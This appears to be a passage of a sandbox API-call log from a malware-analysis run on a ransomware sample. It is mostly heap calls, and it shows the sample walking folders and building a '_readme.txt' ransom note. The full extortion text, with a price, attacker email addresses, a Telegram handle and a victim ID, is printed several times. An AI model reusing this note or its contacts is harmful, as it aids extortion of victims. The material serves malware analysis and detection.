RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.637] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.637] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.638] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.638] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.639] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.639] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.639] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.639] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.639] PathFindFileNameW (pszPath="") returned="" [0124.639] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.639] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.640] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.640] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.640] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.640] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0124.640] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.640] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.640] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0124.641] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.641] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.641] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.641] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.641] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.641] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.641] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.641] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.642] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.642] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.642] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.642] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.642] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.642] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.642] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.643] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.643] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.644] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.644] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 